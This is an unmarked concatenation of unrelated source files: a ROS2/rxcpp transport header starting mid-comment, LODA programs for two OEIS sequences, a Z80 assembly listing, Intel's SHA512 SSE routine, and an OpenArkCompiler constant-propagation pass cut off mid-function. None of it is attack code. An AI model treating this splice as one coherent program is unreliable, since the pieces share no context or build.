dirty solution to the linking problem, so // we may want to consider replacing it with something cleaner. class Transport : public rclcpp::Node { public: explicit Transport( rxcpp::schedulers::worker worker, const std::string& node_name, const rclcpp::NodeOptions& options = rclcpp::NodeOptions(), const std::optional<std::chrono::nanoseconds>& wait_time = std::nullopt) : rclcpp::Node{node_name, options}, _worker{std::move(worker)}, _executor(_make_exec_args(options)), _wait_time(wait_time) { // Do nothing } /** * Not threadsafe */ void start() { if (!_stopping) return; if (!_node_added) _executor.add_node(shared_from_this()); const auto sleep_param = "transport_sleep"; declare_parameter<double>(sleep_param, 0.0); if (has_parameter(sleep_param)) { auto param = get_parameter(sleep_param); if (param.get_type() != rclcpp::ParameterType::PARAMETER_DOUBLE) { RCLCPP_WARN(get_logger(), "Expected parameter %s to be double", sleep_param); } else { auto sleep_time = param.as_double(); if(sleep_time > 0) { _wait_time = {std::chrono::duration_cast<std::chrono::nanoseconds>( std::chrono::duration<double, std::ratio<1,1000>>(sleep_time))}; } RCLCPP_WARN(get_logger(), "Sleeping for %f", sleep_time); } } _stopping = false; _schedule_spin(); } void stop() { _stopping = true; } std::condition_variable& spin_cv() { return _spin_cv; } bool still_spinning() const { return !_stopping && rclcpp::ok(get_node_options().context()); } /** * Creates a sharable observable that is bridged to a rclcpp subscription and is observed on an * event loop. When there are multiple subscribers, it multiplexes the message onto each * subscriber. * @tparam Message * @param topic_name * @param qos * @return */ template<typename Message> auto create_observable(const std::string& topic_name, const rclcpp::QoS& qos) { auto wrapper = std::make_shared<detail::SubscriptionWrapper<Message>>( shared_from_this(), topic_name, qos); return rxcpp::observable<>::create<typename Message::SharedPtr>([wrapper](const auto& s) { (*wrapper)(s); }).publish().ref_count().observe_on(rxcpp::observe_on_event_loop()); } private: std::thread _spin_thread; bool _stopping = true; rxcpp::schedulers::worker _worker; rclcpp::executors::SingleThreadedExecutor _executor; bool _node_added = false; std::condition_variable _spin_cv; std::optional<std::chrono::nanoseconds> _wait_time; static rclcpp::ExecutorOptions _make_exec_args( const rclcpp::NodeOptions& options) { rclcpp::ExecutorOptions exec_args; exec_args.context = options.context(); return exec_args; } void _do_spin() { _executor.spin_some(); if (_wait_time) { rclcpp::sleep_for(*_wait_time); } if (still_spinning()) _schedule_spin(); } void _schedule_spin() { _worker.schedule( [w = weak_from_this()](const auto&) { if (const auto node = std::static_pointer_cast<Transport>(w.lock())) node->_do_spin(); }); } }; } // namespace rmf_rxcpp #endif //RMF_RXCPP__TRANSPORT_HPP
; A108689: Smallest integer q >= 1 such that difference between q*Pi and the nearest integer is <= 1/n. ; 1,1,1,1,1,1,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7 lpb $0,$0 div $0,6 mov $5,6 mov $6,$5 mov $4,$6 lpe mov $0,$4 add $0,1
CALL _main HALT ; ; Function "main". ; _main PUSH IY LD IY, 0 ADD IY, SP LD HL, -10 ADD HL, SP LD SP, HL ; Variable "foo" is at location IY - 10 #if 0 LD HL, 1 PUSH HL LD BC, -10 PUSH IY POP HL ADD HL, BC PUSH HL LD HL, 4 POP BC ADD HL, BC PUSH HL POP IX POP HL LD (IX + 0), L LD (IX + 1), H #endif LD HL, 1 JP $6 $3 LD HL, $1 PUSH HL CALL _printf INC SP INC SP LD BC, -10 PUSH IY POP HL ADD HL, BC PUSH HL LD HL, 4 POP BC ADD HL, BC PUSH HL POP IX LD H, (IX + 1) LD L, (IX) PUSH HL LD BC, -10 PUSH IY POP HL ADD HL, BC PUSH HL LD HL, 4 POP BC ADD HL, BC PUSH HL POP IX LD H, (IX + 1) LD L, (IX) PUSH HL LD HL, $2 PUSH HL CALL _printf INC SP INC SP INC SP INC SP INC SP INC SP LD BC, -10 PUSH IY POP HL ADD HL, BC PUSH HL LD HL, 4 POP BC ADD HL, BC PUSH HL POP IX LD H, (IX + 1) LD L, (IX) ADD HL, HL PUSH HL LD BC, -10 PUSH IY POP HL ADD HL, BC PUSH HL LD HL, 4 POP BC ADD HL, BC PUSH HL POP IX POP HL LD (IX + 0), L LD (IX + 1), H $4 LD HL, 1 $6 LD HL, 1 LD DE, 0 ADD HL, DE JP NZ, $3 $5 LD SP, IY POP IY RET $2 DB "Cool, eh? 0x%x %d", 10, 0 $1 DB "This was compiled.", 10, 0
;; ;; Copyright (c) 2012-2021, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; ;; code to compute SHA512 by-2 using SSE ;; outer calling routine takes care of save and restore of XMM registers ;; Logic designed/laid out by JDG ;; Function clobbers: rax, rcx, rdx, rbx, rsi, rdi, r9-r15; ymm0-15 ;; Stack must be aligned to 16 bytes before call ;; Windows clobbers: rax rdx r8 r9 r10 r11 ;; Windows preserves: rbx rcx rsi rdi rbp r12 r13 r14 r15 ;; ;; Linux clobbers: rax rsi r8 r9 r10 r11 ;; Linux preserves: rbx rcx rdx rdi rbp r12 r13 r14 r15 ;; ;; clobbers xmm0-15 %include "include/os.asm" %include "include/mb_mgr_datastruct.asm" %include "include/clear_regs.asm" ;%define DO_DBGPRINT %include "include/dbgprint.asm" mksection .rodata default rel align 64 MKGLOBAL(K512_2,data,internal) K512_2: dq 0x428a2f98d728ae22, 0x428a2f98d728ae22 dq 0x7137449123ef65cd, 0x7137449123ef65cd dq 0xb5c0fbcfec4d3b2f, 0xb5c0fbcfec4d3b2f dq 0xe9b5dba58189dbbc, 0xe9b5dba58189dbbc dq 0x3956c25bf348b538, 0x3956c25bf348b538 dq 0x59f111f1b605d019, 0x59f111f1b605d019 dq 0x923f82a4af194f9b, 0x923f82a4af194f9b dq 0xab1c5ed5da6d8118, 0xab1c5ed5da6d8118 dq 0xd807aa98a3030242, 0xd807aa98a3030242 dq 0x12835b0145706fbe, 0x12835b0145706fbe dq 0x243185be4ee4b28c, 0x243185be4ee4b28c dq 0x550c7dc3d5ffb4e2, 0x550c7dc3d5ffb4e2 dq 0x72be5d74f27b896f, 0x72be5d74f27b896f dq 0x80deb1fe3b1696b1, 0x80deb1fe3b1696b1 dq 0x9bdc06a725c71235, 0x9bdc06a725c71235 dq 0xc19bf174cf692694, 0xc19bf174cf692694 dq 0xe49b69c19ef14ad2, 0xe49b69c19ef14ad2 dq 0xefbe4786384f25e3, 0xefbe4786384f25e3 dq 0x0fc19dc68b8cd5b5, 0x0fc19dc68b8cd5b5 dq 0x240ca1cc77ac9c65, 0x240ca1cc77ac9c65 dq 0x2de92c6f592b0275, 0x2de92c6f592b0275 dq 0x4a7484aa6ea6e483, 0x4a7484aa6ea6e483 dq 0x5cb0a9dcbd41fbd4, 0x5cb0a9dcbd41fbd4 dq 0x76f988da831153b5, 0x76f988da831153b5 dq 0x983e5152ee66dfab, 0x983e5152ee66dfab dq 0xa831c66d2db43210, 0xa831c66d2db43210 dq 0xb00327c898fb213f, 0xb00327c898fb213f dq 0xbf597fc7beef0ee4, 0xbf597fc7beef0ee4 dq 0xc6e00bf33da88fc2, 0xc6e00bf33da88fc2 dq 0xd5a79147930aa725, 0xd5a79147930aa725 dq 0x06ca6351e003826f, 0x06ca6351e003826f dq 0x142929670a0e6e70, 0x142929670a0e6e70 dq 0x27b70a8546d22ffc, 0x27b70a8546d22ffc dq 0x2e1b21385c26c926, 0x2e1b21385c26c926 dq 0x4d2c6dfc5ac42aed, 0x4d2c6dfc5ac42aed dq 0x53380d139d95b3df, 0x53380d139d95b3df dq 0x650a73548baf63de, 0x650a73548baf63de dq 0x766a0abb3c77b2a8, 0x766a0abb3c77b2a8 dq 0x81c2c92e47edaee6, 0x81c2c92e47edaee6 dq 0x92722c851482353b, 0x92722c851482353b dq 0xa2bfe8a14cf10364, 0xa2bfe8a14cf10364 dq 0xa81a664bbc423001, 0xa81a664bbc423001 dq 0xc24b8b70d0f89791, 0xc24b8b70d0f89791 dq 0xc76c51a30654be30, 0xc76c51a30654be30 dq 0xd192e819d6ef5218, 0xd192e819d6ef5218 dq 0xd69906245565a910, 0xd69906245565a910 dq 0xf40e35855771202a, 0xf40e35855771202a dq 0x106aa07032bbd1b8, 0x106aa07032bbd1b8 dq 0x19a4c116b8d2d0c8, 0x19a4c116b8d2d0c8 dq 0x1e376c085141ab53, 0x1e376c085141ab53 dq 0x2748774cdf8eeb99, 0x2748774cdf8eeb99 dq 0x34b0bcb5e19b48a8, 0x34b0bcb5e19b48a8 dq 0x391c0cb3c5c95a63, 0x391c0cb3c5c95a63 dq 0x4ed8aa4ae3418acb, 0x4ed8aa4ae3418acb dq 0x5b9cca4f7763e373, 0x5b9cca4f7763e373 dq 0x682e6ff3d6b2b8a3, 0x682e6ff3d6b2b8a3 dq 0x748f82ee5defb2fc, 0x748f82ee5defb2fc dq 0x78a5636f43172f60, 0x78a5636f43172f60 dq 0x84c87814a1f0ab72, 0x84c87814a1f0ab72 dq 0x8cc702081a6439ec, 0x8cc702081a6439ec dq 0x90befffa23631e28, 0x90befffa23631e28 dq 0xa4506cebde82bde9, 0xa4506cebde82bde9 dq 0xbef9a3f7b2c67915, 0xbef9a3f7b2c67915 dq 0xc67178f2e372532b, 0xc67178f2e372532b dq 0xca273eceea26619c, 0xca273eceea26619c dq 0xd186b8c721c0c207, 0xd186b8c721c0c207 dq 0xeada7dd6cde0eb1e, 0xeada7dd6cde0eb1e dq 0xf57d4f7fee6ed178, 0xf57d4f7fee6ed178 dq 0x06f067aa72176fba, 0x06f067aa72176fba dq 0x0a637dc5a2c898a6, 0x0a637dc5a2c898a6 dq 0x113f9804bef90dae, 0x113f9804bef90dae dq 0x1b710b35131c471b, 0x1b710b35131c471b dq 0x28db77f523047d84, 0x28db77f523047d84 dq 0x32caab7b40c72493, 0x32caab7b40c72493 dq 0x3c9ebe0a15c9bebc, 0x3c9ebe0a15c9bebc dq 0x431d67c49c100d4c, 0x431d67c49c100d4c dq 0x4cc5d4becb3e42b6, 0x4cc5d4becb3e42b6 dq 0x597f299cfc657e2a, 0x597f299cfc657e2a dq 0x5fcb6fab3ad6faec, 0x5fcb6fab3ad6faec dq 0x6c44198c4a475817, 0x6c44198c4a475817 PSHUFFLE_BYTE_FLIP_MASK: ;ddq 0x08090a0b0c0d0e0f0001020304050607 dq 0x0001020304050607, 0x08090a0b0c0d0e0f mksection .text %ifdef LINUX ; Linux definitions %define arg1 rdi %define arg2 rsi %else ; Windows definitions %define arg1 rcx %define arg2 rdx %endif ; Common definitions %define STATE arg1 %define INP_SIZE arg2 %define IDX rax %define ROUND r8 %define TBL r11 %define inp0 r9 %define inp1 r10 %define a xmm0 %define b xmm1 %define c xmm2 %define d xmm3 %define e xmm4 %define f xmm5 %define g xmm6 %define h xmm7 %define a0 xmm8 %define a1 xmm9 %define a2 xmm10 %define TT0 xmm14 %define TT1 xmm13 %define TT2 xmm12 %define TT3 xmm11 %define TT4 xmm10 %define TT5 xmm9 %define T1 xmm14 %define TMP xmm15 %define SZ2 2*SHA512_DIGEST_WORD_SIZE ; Size of one vector register %define ROUNDS 80*SZ2 ; Define stack usage struc STACK _DATA: resb SZ2 * 16 _DIGEST: resb SZ2 * NUM_SHA512_DIGEST_WORDS resb 8 ; for alignment, must be odd multiple of 8 endstruc %define MOVPD movupd ; transpose r0, r1, t0 ; Input looks like {r0 r1} ; r0 = {a1 a0} ; r1 = {b1 b0} ; ; output looks like ; r0 = {b0, a0} ; t0 = {b1, a1} %macro TRANSPOSE 3 %define %%r0 %1 %define %%r1 %2 %define %%t0 %3 movapd %%t0, %%r0 ; t0 = a1 a0 shufpd %%r0, %%r1, 00b ; r0 = b0 a0 shufpd %%t0, %%r1, 11b ; t0 = b1 a1 %endm %macro ROTATE_ARGS 0 %xdefine TMP_ h %xdefine h g %xdefine g f %xdefine f e %xdefine e d %xdefine d c %xdefine c b %xdefine b a %xdefine a TMP_ %endm ; PRORQ reg, imm, tmp ; packed-rotate-right-double ; does a rotate by doing two shifts and an or %macro PRORQ 3 %define %%reg %1 %define %%imm %2 %define %%tmp %3 movdqa %%tmp, %%reg psllq %%tmp, (64-(%%imm)) psrlq %%reg, %%imm por %%reg, %%tmp %endmacro ; PRORQ dst/src, amt %macro PRORQ 2 PRORQ %1, %2, TMP %endmacro ;; arguments passed implicitly in preprocessor symbols i, a...h %macro ROUND_00_15 2 %define %%T1 %1 %define %%i %2 movdqa a0, e ; sig1: a0 = e movdqa a1, e ; sig1: s1 = e PRORQ a0, (18-14) ; sig1: a0 = (e >> 4) movdqa a2, f ; ch: a2 = f pxor a2, g ; ch: a2 = f^g pand a2, e ; ch: a2 = (f^g)&e pxor a2, g ; a2 = ch PRORQ a1, 41 ; sig1: a1 = (e >> 41) movdqa [SZ2*(%%i&0xf) + rsp],%%T1 paddq %%T1,[TBL + ROUND] ; T1 = W + K pxor a0, e ; sig1: a0 = e ^ (e >> 5) PRORQ a0, 14 ; sig1: a0 = (e >> 14) ^ (e >> 18) paddq h, a2 ; h = h + ch movdqa a2, a ; sig0: a2 = a PRORQ a2, (34-28) ; sig0: a2 = (a >> 6) paddq h, %%T1 ; h = h + ch + W + K pxor a0, a1 ; a0 = sigma1 movdqa a1, a ; sig0: a1 = a movdqa %%T1, a ; maj: T1 = a PRORQ a1, 39 ; sig0: a1 = (a >> 39) pxor %%T1, c ; maj: T1 = a^c add ROUND, SZ2 ; ROUND++ pand %%T1, b ; maj: T1 = (a^c)&b paddq h, a0 paddq d, h pxor a2, a ; sig0: a2 = a ^ (a >> 11) PRORQ a2, 28 ; sig0: a2 = (a >> 28) ^ (a >> 34) pxor a2, a1 ; a2 = sig0 movdqa a1, a ; maj: a1 = a pand a1, c ; maj: a1 = a&c por a1, %%T1 ; a1 = maj paddq h, a1 ; h = h + ch + W + K + maj paddq h, a2 ; h = h + ch + W + K + maj + sigma0 ROTATE_ARGS %endm ;; arguments passed implicitly in preprocessor symbols i, a...h %macro ROUND_16_XX 2 %define %%T1 %1 %define %%i %2 movdqa %%T1, [SZ2*((%%i-15)&0xf) + rsp] movdqa a1, [SZ2*((%%i-2)&0xf) + rsp] movdqa a0, %%T1 PRORQ %%T1, 8-1 movdqa a2, a1 PRORQ a1, 61-19 pxor %%T1, a0 PRORQ %%T1, 1 pxor a1, a2 PRORQ a1, 19 psrlq a0, 7 pxor %%T1, a0 psrlq a2, 6 pxor a1, a2 paddq %%T1, [SZ2*((%%i-16)&0xf) + rsp] paddq a1, [SZ2*((%%i-7)&0xf) + rsp] paddq %%T1, a1 ROUND_00_15 %%T1, %%i %endm ;; SHA512_ARGS: ;; UINT128 digest[8]; // transposed digests ;; UINT8 *data_ptr[2]; ;; ;; void sha512_x2_sse(SHA512_ARGS *args, UINT64 num_blocks); ;; arg 1 : STATE : pointer args ;; arg 2 : INP_SIZE : size of data in blocks (assumed >= 1) ;; MKGLOBAL(sha512_x2_sse,function,internal) align 32 sha512_x2_sse: ; general registers preserved in outer calling routine ; outer calling routine saves all the XMM registers sub rsp, STACK_size ;; Load the pre-transposed incoming digest. movdqa a,[STATE + 0 * SHA512_DIGEST_ROW_SIZE] movdqa b,[STATE + 1 * SHA512_DIGEST_ROW_SIZE] movdqa c,[STATE + 2 * SHA512_DIGEST_ROW_SIZE] movdqa d,[STATE + 3 * SHA512_DIGEST_ROW_SIZE] movdqa e,[STATE + 4 * SHA512_DIGEST_ROW_SIZE] movdqa f,[STATE + 5 * SHA512_DIGEST_ROW_SIZE] movdqa g,[STATE + 6 * SHA512_DIGEST_ROW_SIZE] movdqa h,[STATE + 7 * SHA512_DIGEST_ROW_SIZE] DBGPRINTL_XMM "incoming transposed sha512 digest", a, b, c, d, e, f, g, h lea TBL,[rel K512_2] ;; load the address of each of the 2 message lanes ;; getting ready to transpose input onto stack mov inp0,[STATE + _data_ptr_sha512 +0*PTR_SZ] mov inp1,[STATE + _data_ptr_sha512 +1*PTR_SZ] xor IDX, IDX lloop: xor ROUND, ROUND DBGPRINTL64 "lloop enter INP_SIZE ", INP_SIZE DBGPRINTL64 " IDX = ", IDX ;; save old digest movdqa [rsp + _DIGEST + 0*SZ2], a movdqa [rsp + _DIGEST + 1*SZ2], b movdqa [rsp + _DIGEST + 2*SZ2], c movdqa [rsp + _DIGEST + 3*SZ2], d movdqa [rsp + _DIGEST + 4*SZ2], e movdqa [rsp + _DIGEST + 5*SZ2], f movdqa [rsp + _DIGEST + 6*SZ2], g movdqa [rsp + _DIGEST + 7*SZ2], h DBGPRINTL "incoming data[" %assign i 0 %rep 8 ;; load up the shuffler for little-endian to big-endian format movdqa TMP, [rel PSHUFFLE_BYTE_FLIP_MASK] MOVPD TT0,[inp0+IDX+i*16] ;; double precision is 64 bits MOVPD TT2,[inp1+IDX+i*16] DBGPRINTL_XMM "input message block", TT0 TRANSPOSE TT0, TT2, TT1 pshufb TT0, TMP pshufb TT1, TMP ROUND_00_15 TT0,(i*2+0) ROUND_00_15 TT1,(i*2+1) %assign i (i+1) %endrep DBGPRINTL "]" add IDX, 8 * 16 ;; increment by a message block %assign i (i*4) jmp Lrounds_16_xx align 16 Lrounds_16_xx: %rep 16 ROUND_16_XX T1, i %assign i (i+1) %endrep cmp ROUND,ROUNDS jb Lrounds_16_xx ;; add old digest paddq a, [rsp + _DIGEST + 0*SZ2] paddq b, [rsp + _DIGEST + 1*SZ2] paddq c, [rsp + _DIGEST + 2*SZ2] paddq d, [rsp + _DIGEST + 3*SZ2] paddq e, [rsp + _DIGEST + 4*SZ2] paddq f, [rsp + _DIGEST + 5*SZ2] paddq g, [rsp + _DIGEST + 6*SZ2] paddq h, [rsp + _DIGEST + 7*SZ2] sub INP_SIZE, 1 ;; unit is blocks jne lloop ; write back to memory (state object) the transposed digest movdqa [STATE + 0*SHA512_DIGEST_ROW_SIZE],a movdqa [STATE + 1*SHA512_DIGEST_ROW_SIZE],b movdqa [STATE + 2*SHA512_DIGEST_ROW_SIZE],c movdqa [STATE + 3*SHA512_DIGEST_ROW_SIZE],d movdqa [STATE + 4*SHA512_DIGEST_ROW_SIZE],e movdqa [STATE + 5*SHA512_DIGEST_ROW_SIZE],f movdqa [STATE + 6*SHA512_DIGEST_ROW_SIZE],g movdqa [STATE + 7*SHA512_DIGEST_ROW_SIZE],h DBGPRINTL_XMM "exit transposed digest ", a, b, c, d, e, f, g, h ; update input pointers add inp0, IDX mov [STATE + _data_ptr_sha512 + 0*PTR_SZ], inp0 add inp1, IDX mov [STATE + _data_ptr_sha512 + 1*PTR_SZ], inp1 ;;;;;;;;;;;;;;;; ;; Postamble ;; Clear stack frame ((16 + 8)*16 bytes) %ifdef SAFE_DATA clear_all_xmms_sse_asm %assign i 0 %rep (16+NUM_SHA512_DIGEST_WORDS) movdqa [rsp + i*SZ2], xmm0 %assign i (i+1) %endrep %endif add rsp, STACK_size DBGPRINTL "====================== exit sha512_x2_sse code =====================\n" ret mksection stack-noexec
; A178457: Partial sums of floor(2^n/23). ; 0,0,0,0,0,1,3,8,19,41,85,174,352,708,1420,2844,5693,11391,22788,45583,91173,182353,364714,729436,1458880,2917768,5835544,11671097,23342203,46684416,93368843,186737697,373475405,746950822,1493901656,2987803324,5975606660,11951213332,23902426677,47804853367,95609706748,191219413511,382438827037,764877654089,1529755308194,3059510616404,6119021232824,12238042465664,24476084931344,48952169862705,97904339725427,195808679450872,391617358901763,783234717803545,1566469435607109,3132938871214238,6265877742428496 mov $2,$0 mov $4,$0 lpb $2,1 mov $0,$4 sub $2,1 sub $0,$2 mov $3,2 pow $3,$0 div $3,23 add $1,$3 lpe
/* * Copyright (c) [2020] Huawei Technologies Co., Ltd. All rights reserved. * * OpenArkCompiler is licensed under the Mulan Permissive Software License v2. * You can use this software according to the terms and conditions of the MulanPSL - 2.0. * You may obtain a copy of MulanPSL - 2.0 at: * * https://opensource.org/licenses/MulanPSL-2.0 * * THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR * FIT FOR A PARTICULAR PURPOSE. * See the MulanPSL - 2.0 for more details. */ #include <fstream> #include <iostream> #include "clone.h" #include "me_const_prop.h" #include "constant_fold.h" #include "mir_nodes.h" #include "me_function.h" #include "ssa_mir_nodes.h" #include "mir_builder.h" namespace maple { static bool IsConstant(BaseNode *stmt, MapleMap<VersionSt *, BaseNode *> constantMp) { MapleMap<VersionSt *, BaseNode *>::iterator it; Opcode op = stmt->op; if (op == OP_dassign) { DassignNode *node = static_cast<DassignNode *>(stmt); for (int32 i = 0; i < stmt->NumOpnds(); i++) { if (node->Opnd(i)->op == OP_intrinsicop) { IntrinsicopNode *childNode = static_cast<IntrinsicopNode *>(node->Opnd(i)); if (childNode->intrinsic == maple::INTRN_JAVA_MERGE) { node->SetOpnd(childNode->Opnd(0), i); } } if (node->Opnd(i)->op == OP_dread) { AddrofSSANode *addofnode = static_cast<AddrofSSANode *>(node->Opnd(i)); VersionSt *vsym = addofnode->ssaVar; it = constantMp.find(vsym); if (it != constantMp.end()) { node->SetOpnd(it->second, i); } } if (!IsConstant(node->Opnd(i), constantMp)) { return false; } } return true; } else if (op == OP_cvt) { TypeCvtNode *node = static_cast<TypeCvtNode *>(stmt); for (int32 i = 0; i < stmt->NumOpnds(); i++) { if (node->Opnd(i)->op == OP_dread) { AddrofSSANode *addofnode = static_cast<AddrofSSANode *>(node->Opnd(i)); VersionSt *vsym = addofnode->ssaVar; it = constantMp.find(vsym); if (it != constantMp.end()) { node->SetOpnd(it->second, i); } } if (!IsConstant(node->Opnd(i), constantMp)) { return false; } } return true; } else if (stmt->IsCondBr()) { CondGotoNode *node = static_cast<CondGotoNode *>(stmt); for (int32 i = 0; i < stmt->NumOpnds(); i++) { if (node->Opnd(i)->op == OP_dread) { AddrofSSANode *addofnode = static_cast<AddrofSSANode *>(node->Opnd(i)); VersionSt *vsym = addofnode->ssaVar; it = constantMp.find(vsym); if (it != constantMp.end()) { node->SetOpnd(it->second, i); } } if (!IsConstant(node->Opnd(i), constantMp)) { return false; } } return true; } else if (op == OP_ne || op == OP_eq || op == OP_ne || op == OP_ge || op == OP_gt || op == OP_le || op == OP_lt || op == OP_cmp || op == OP_cmpl || op == OP_cmpg) { CompareNode *node = static_cast<CompareNode *>(stmt); for (int32 i = 0; i < stmt->NumOpnds(); i++) { if (node->Opnd(i)->op == OP_dread) { AddrofSSANode *addofnode = static_cast<AddrofSSANode *>(node->Opnd(i)); VersionSt *vsym = addofnode->ssaVar; it = constantMp.find(vsym); if (it != constantMp.end()) { node->SetOpnd(it->second, i); } } if (!IsConstant(node->Opnd(i), constantMp)) { return false; } } return true; } else if (op == OP_call || op == OP_callassigned || op == OP_virtualcall || op == OP_virtualcallassigned || op == OP_virtualicall || op == OP_virtualicallassigned || op == OP_superclasscall || op == OP_superclasscallassigned || op == OP_interfacecall || op == OP_interfacecallassigned || op == OP_interfaceicall || op == OP_interfaceicallassigned || op == OP_customcall || op == OP_customcallassigned || op == OP_polymorphiccall || op == OP_polymorphiccallassigned) { CallNode *node = static_cast<CallNode *>(stmt); for (int32 i = 0; i < stmt->NumOpnds(); i++) { if (node->Opnd(i)->op == OP_dread) { AddrofSSANode *addofnode = static_cast<AddrofSSANode *>(node->Opnd(i)); VersionSt *vsym = addofnode->ssaVar; it = constantMp.find(vsym); if (it != constantMp.end()) { node->SetOpnd(it->second, i); } } } return false; } else if (op == OP_dread) { AddrofSSANode *dread = static_cast<AddrofSSANode *>(stmt); it = constantMp.find(dread->ssaVar); return it != constantMp.end(); } else if (op == OP_constval) { return true; } else { return false; } } void MeConstProp::IntraConstProp() { MapleMap<VersionSt *, BaseNode *> constantMp(std::less<VersionSt *>(), constprop_alloc.Adapter()); maple::ConstantFold cf(&func->mirModule); for (uint32 i = 0; i < func->bbVec.size(); i++) { BB *bb = func->bbVec[i]; if (bb == nullptr) { continue; } for (auto stmt : bb->stmtNodeList) { if (IsConstant(stmt, constantMp)) { if (stmt->op == OP_dassign) { DassignNode *dass = static_cast<DassignNode *>(stmt); MayDefPartWithVersionSt *thessapart = static_cast<MayDefPartWithVersionSt *>(func->meSSATab->stmtsSSAPart.SsapartOf(stmt)); constantMp[thessapart->ssaVar] = dass->Opnd(0); } } } } } // Clone a function MIRFunction *CloneFunction(MIRFunction *oldfunc, std::string newfuncname) { MIRType *returnType = GlobalTables::GetTypeTable().GetTypeFromTyIdx(oldfunc->GetReturnTyIdx()); MapleAllocator cgalloc(oldfunc->codeMemPool); ArgVector argument(cgalloc.Adapter()); for (uint32 i = 0; i < oldfunc->formalDefVec.size(); i++) { argument.push_back( ArgPair(oldfunc->formalDefVec[i].formalSym->GetName(), GlobalTables::GetTypeTable().GetTypeFromTyIdx(oldfunc->formalDefVec[i].formalTyIdx))); } maple::MIRBuilder mirBuilder(oldfunc->module); MIRFunction *newfunc = mirBuilder.CreateFunction(newfuncname, returnType, argument); CHECK_FATAL(newfunc != nullptr, "create dummymain function failed"); newfunc->SetBaseClassFuncNames(GlobalTables::GetStrTable().GetOrCreateStrIdxFromName(newfuncname)); newfunc->flag = oldfunc->flag; newfunc->classTyIdx = oldfunc->classTyIdx; MIRInfoVector &fninfo = oldfunc->info; MapleVector<bool> &fninfoIsstring = oldfunc->infoIsString; uint32 size = fninfo.size(); for (uint32 i = 0; i < size; i++) { newfunc->info.push_back(std::pair<GStrIdx, uint32>(fninfo[i].first, fninfo[i].second)); newfunc->infoIsString.push_back(fninfoIsstring[i]); } mirBuilder.mirModule->AddFunction(newfunc); mirBuilder.SetCurrentFunction(newfunc); newfunc->body = oldfunc->body->CloneTree(oldfunc->module); Clone::CloneSymbols(newfunc, oldfunc); Clone::CloneLabels(newfunc, oldfunc); // Insert function name for debugging purpose std::string commFuncName("CLONED FUNC "); commFuncName.append(oldfunc->GetName()); auto tmp = newfunc->body; CHECK_FATAL(tmp != nullptr, "null ptr check"); newfunc->body->InsertBefore(tmp->GetFirst(), mirBuilder.CreateStmtComment(commFuncName)); return newfunc; } std::vector<ClonedFunction> clonedFunctions; void MeConstProp::InterConstProp() { PUIdx puIdx = -1; MIRFunction *curFunction = func->mirFunc; BlockNode *body = curFunction->body; std::vector<MIRFunction *> newcalleev; maple::MIRBuilder mirBuilder(&func->mirModule); if (body) { for (StmtNode *stmt = body->GetFirst(); stmt != nullptr; stmt = static_cast<StmtNode *>(stmt)->GetNext()) { Opcode op = stmt->op; if (op == OP_call || op == OP_callassigned) { CallNode *callnode = static_cast<CallNode *>(stmt); puIdx = callnode->puIdx; // Check if one actual parameter is constant, clone a new callee function MIRFunction *oldcallee = GlobalTables::GetFunctionTable().GetFunctionFromPuidx(puIdx); if (oldcallee->GetName().find("_MAPLECONSTANTPROP_") != std::string::npos) { continue; } uint32 i = 0; uint32 argsize = static_cast<uint32>(callnode->NumOpnds()) < oldcallee->formalDefVec.size() ? static_cast<uint32>(callnode->NumOpnds()) : oldcallee->formalDefVec.size(); for (; i < argsize; i++) { if (callnode->Opnd(i)->op != OP_dread) { break; } } // Only deal with user-defined non-abstract function, don't deal with cloned function, only clone once. if (i < argsize && oldcallee->body != nullptr && oldcallee->body->GetFirst() != nullptr) { maple::ConstantFold cf(oldcallee->module); ActualArgVector actualarg; for (uint32 i = 0; i < argsize; i++) { if (callnode->Opnd(i)->op != OP_dread) { CHECK_FATAL(callnode->Opnd(i)->op == OP_cvt || callnode->Opnd(i)->op == OP_constval, ""); if (callnode->Opnd(i)->op == OP_cvt) { TypeCvtNode *cvtnode = static_cast<TypeCvtNode *>(callnode->Opnd(i)); BaseNode *tmp = cf.Fold(cvtnode); CHECK_FATAL(tmp, "null ptr check "); MIRConst *constnode = static_cast<ConstvalNode *>(tmp)->constVal; MIRType *type = constnode->type; if (IsPrimitiveInteger(type->primType)) { actualarg.push_back(ActualArgPair(i, static_cast<MIRIntConst *>(constnode)->value)); } } else if (callnode->Opnd(i)->op == OP_constval) { MIRConst *constnode = static_cast<ConstvalNode *>(callnode->Opnd(i))->constVal; MIRType *type = constnode->type; if (IsPrimitiveInteger(type->primType)) { 